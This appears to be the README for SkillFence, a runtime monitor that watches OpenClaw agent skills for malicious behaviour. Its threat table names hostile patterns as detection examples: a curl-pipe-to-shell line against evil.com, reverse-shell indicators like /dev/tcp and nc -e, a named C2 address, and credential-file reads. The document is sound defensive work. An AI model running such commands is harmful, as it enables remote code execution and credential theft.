# ๐Ÿ›ก๏ธ SkillFence โ€” Runtime Skill Monitor for OpenClaw **Watch what your skills actually do. Not what they claim to do.** Scanners check code before install. SkillFence watches what code does after install. Network calls, file access, credential reads, process activity โ€” all monitored and logged. ## The Problem 341 malicious skills were found on ClawHub (ClawHavoc campaign). Pre-install scanners caught them after the fact. But the Polymarket backdoor? It looked clean. The malicious `curl` was buried in a working market search function โ€” it only triggered during normal use. No scanner would have caught it before it fired. **Nobody is watching what skills do at runtime. SkillFence does.** ## What It Catches | Threat | How | Example | |--------|-----|---------| | Known C2 servers | IP/domain matching | ClawHavoc's `54.91.154.110:13338` | | Reverse shells | Process monitoring | `/dev/tcp` connections, `nc -e` | | Crypto miners | Process monitoring | xmrig, cpuminer processes | | curl\|sh attacks | Pattern matching | `curl http://evil.com \| sh` | | Credential theft | File access monitoring | Reading `.env`, `openclaw.json`, SSH keys | | Data exfiltration | Combined analysis | Network calls + sensitive file reads | | Encoded payloads | Base64 detection | Obfuscated commands with decode ops | ## Install (30 seconds) ### Option 1: ClawHub (recommended) ```bash clawhub install skillfence ``` ### Option 2: Manual ```bash cd ~/clawd/skills # or ~/.openclaw/skills git clone https://github.com/deeqyaqub1-cmd/skillfence-openclaw skillfence ``` ### Option 3: Copy-paste Create `~/clawd/skills/skillfence/` and copy `SKILL.md` + `monitor.js` into it. **No dependencies. No API keys. No config. Just Node.js.** ## Commands ``` /skillfence โ†’ Session status /skillfence scan โ†’ Full system scan (skills + network + processes + credentials) /skillfence scan โ†’ Scan a specific skill before installing /skillfence watch โ†’ Quick runtime check /skillfence log โ†’ View audit trail ``` ## Full System Scan Ask your OpenClaw: *"Run a security scan"* SkillFence checks: 1. **All installed skills** โ€” known C2 addresses, dangerous commands, credential access, data exfiltration patterns, encoded payloads 2. **Active network connections** โ€” connections to known malicious servers, unusual ports on raw IPs 3. **Running processes** โ€” reverse shells, crypto miners, remote code execution 4. **Sensitive file access** โ€” recently accessed credentials, configs, keys, wallets Results come with severity ratings: - ๐Ÿ”ด **CRITICAL** โ€” Known C2, active reverse shells, crypto miners. Act immediately. - ๐ŸŸ  **HIGH** โ€” Data exfiltration, dangerous commands, credential access. Investigate now. - ๐ŸŸก **MEDIUM** โ€” Unusual connections, encoded payloads, recent credential reads. Review soon. - ๐ŸŸข **CLEAN** โ€” No issues found. ## Pre-Install Check Before installing any new skill: > "Check if the weather skill is safe" SkillFence scans the skill's files and returns a verdict: DANGEROUS / SUSPICIOUS / REVIEW / CLEAN. ## Security - **Read-only** โ€” SkillFence monitors and reports. It never modifies, deletes, or executes anything. Credential checks only read file metadata (timestamps), never file contents. - **No data leaves your machine** โ€” all scanning happens locally. This skill never makes outbound network requests. - **No API keys required** โ€” works entirely offline - **Open source** โ€” read every line before you install - **Audit trail** โ€” every scan, alert, and block is logged with timestamps ## Honest Limitations SkillFence runs as a skill at the same privilege level as other skills. This means: - A sophisticated attacker could potentially detect and evade it - Raw socket connections may bypass detection - Novel attack techniques not in our pattern database won't be caught - It's a **security camera, not a locked door** But most attacks are unsophisticated. The entire ClawHavoc campaign used basic `curl`, `os.system`, and base64 chains. SkillFence catches all of that. Detection and deterrence beat zero monitoring. ## Pro ($9/mo) Free tier includes all monitoring features, unlimited scans. [SkillFence Pro](https://cascadeai.dev/skillfence) is a separate web dashboard that unlocks: - ๐Ÿ“Š Persistent threat dashboard across sessions - ๐Ÿ“ง Weekly security digest reports - ๐Ÿ”ง Custom threat rules (add your own patterns) - ๐Ÿงฉ Priority threat intelligence updates **Pro features run on the CascadeAI web dashboard, not inside this skill.** ## Verify It Works After installing, ask your OpenClaw: > "Run a security scan on my skills" If you see `๐Ÿ›ก๏ธ SkillFence | X skills scanned | ๐ŸŸข ALL CLEAR` โ€” you're protected. --- **Built for the OpenClaw community. Know what your skills are doing.** [GitHub](https://github.com/deeqyaqub1-cmd/skillfence-openclaw) ยท [ClawHub](https://clawhub.com/deeqyaqub1-cmd/skillfence) ยท [Pro](https://cascadeai.dev/skillfence) ยท [Discord](https://discord.gg/cascadeai)